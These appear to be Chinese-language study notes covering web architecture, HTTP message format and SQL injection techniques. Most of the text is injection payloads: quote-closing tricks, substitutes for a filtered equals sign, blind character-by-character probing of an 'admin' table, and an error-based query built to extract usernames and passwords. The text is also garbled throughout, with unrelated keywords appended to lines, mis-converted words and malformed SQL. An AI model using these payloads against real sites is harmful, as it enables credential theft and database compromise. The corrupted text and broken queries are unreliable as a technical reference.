sql 子查询:() select goods_name from goods where goods_id=(select max(goods_id) from goods);php
联合查询:select * from boy union select *from girl select 查库 11,hid,bname from boy union select uid,name,agecss
from userhtml
information_schema前端
http 协议java
tcp 1-65535程序员
udp 1-65535web
防火墙sql
80,443,53数据库
HTTP 针对web的攻击c#
Web: 前端+后端+数据库
前端 :用户交易 html (标签语言),css(样式表),Javascript (动态处理)
通信 :http/ https 协议 **
后端 : c -->php / J(java)SP /ASP/ASPX(.NET)
数据库 :关系型数据库 MySQL Oracle db2 SqlServer msSQL 非MongoDB
HTTP
请求request
回复responset
POST /login.php HTTP/1.1 ##请求行
HOST: www.xxx.com(键值对,前键后值##一行)##请求头
User-Agent: Mozilla/5.0(windows NT 6.1;rv15.0)Gecko/20100101 firefox/1.5
//空白行,带表请求头结束
Username=admin&password=admin //请求正文
与HTTP请求对应的是HTTP响应,HTTP响应也是由3部分组成,分别是:响应行,响应头(消息报头),响应正文(消息主体)
(HTTP头详解)ß(配套群里HTTP头详解食用)
HTTP/1.1 200 OK /响应行
Date:Thu,28 Feb 2013 07:36:47 GMT //响应头
SERVER:
Content-Length
….
// 空白行,表明响应头结束
<html> //响应正文或叫消息主体
<head><title>index.html</title></head>
<html>
**闭合**
SQL注入
原理:用户对SQL注入语句的可控性,能够输入数据库指令,被SQL解释器执行,致使数据库被用户控制
分类:
数字型+字符型
数字型注入多存在于asp和php网站的应用程序中,由于ASP和PHP输入弱类型语言,例如:参数id=5,PHP会自动来推导变量id的类型为int类型语言,那么id=5 and 1=1 则会推导为string类型,这是弱类型语言的特性;而Java,c#这类强类型语言,若是试图把一个字符串转换为int类型,处理不当则会抛出异常,没法继续执行。这方面强类型语言比弱类型语言有先天优点,因此做为一个合格的程序员,在数据类型处理方面必定要严格设置
Id=5 and 1=1
Select * from table where id=8
字符型注入
输入参数为字符串时
例:
Select * from table where username = ‘ admin ‘
Select * from table where username= ‘ 8’ or 1=1 –‘
Select * from table where username= like ‘%admin%’
http://www.xxx.com/goods.asp?goods_name=N85 ' and 1=1
select * from goods where goods_name ='N85 '(浅闭合单引号) and 1=1 or '''
只要是字符串则必须单引号闭合以及代码注释,不管是select注入,insert注入,或者其余类型的注入
例如update语句:某常见的卖家修改商品名称的功能,SQL语句以下:update goods set goods_name = ‘ipone X ‘ where goods_id =3;
如今须要对SQL语句注入,这须要闭合,可在name插入语句为’+(select name from users where id=1)+’,最终执行的SQL语句为:
Update goods set goods_name=’ ‘+(select name from users where id=3+’ ‘ where good_id=1;
利用两次单引号闭合才能完成这一次的闭合
注意:根据数据库的不一样,字符串链接符也不一样,如SQLserver链接字符是“+”,Oracle 链接符为“||”,MySQL 链接符为空格
其余分类方法
注入点不一样:
- Cookie注入,POST 注入,get注入,搜索型注入
利用的SQL语句不一样:
- Update注入,select注入,union注入
注入显错方式不一样:
- 错注入,盲注
花式高级
- 延时注入(boolen,二分法),二次注入
注入思路
主信道
80 http HTML
侧信道
电源, 空气,声音 ,时间* ,53 dns协议*,SIM卡 ,示波器
不能用等号时
|| 555*666=666*555*1;
|| 555*666 in (666*555*1,1);
|| 555*666 like 666*555*1;
手工注入
(1) and 1=1
(2) and 1=2
. and exists(select count(*) from msysobjects)(msysobjects表为access特有的,但默认无权限读取)
and exists(select count(*)from sysobjects)(sysobjects是SQLserver特有的)
0<(select top 1 asc(mid(admin,1,1)) from admin) (top2:前两行)(top 1: 前一行 横行 参数1从第一位开始取 参数2:取1位字母)
And 0<=(select count(*) from admin) –判断是否有admin这张表
and 0< (select count(*) from admin) –判断admin这张表里是否有数据
and 0< (select count(*) from admin) –判断是否有1条以上的数据
and 0< (select count(admin) from admin)
and (select top 1 asc(mid(admin,1,1)) from admin)>0 说明内容长度大于等于1
and (select top 1 asc(mid(admin,2,1)) from admin)>0 说明内容长度大于等于2
and (select top 1 asc(mid(admin,3,1)) from admin)>0 说明内容长度大于等于3
and (select top 1 asc(mid(admin,6,1)) from admin)>0 说明内容长度大于等于6
and (select top 1 asc(mid(admin,7,1)) from admin)>0 说明内容长度大于等于7
and (select top 1 asc(mid(字段名,从第几位开始,取几个字符)) from admin)>$0$ -不报错一直测量下去
读取字段值
Select * from c_content where contented = 3uion select 1from (select count(*),concat(float(rand(0)*100), (select concat(0x7e,username,0x3a,password,0x3a,encrypt,0x7e) from xdcm.s_admin limit 0,1))a from information_schema.tables group by a)b#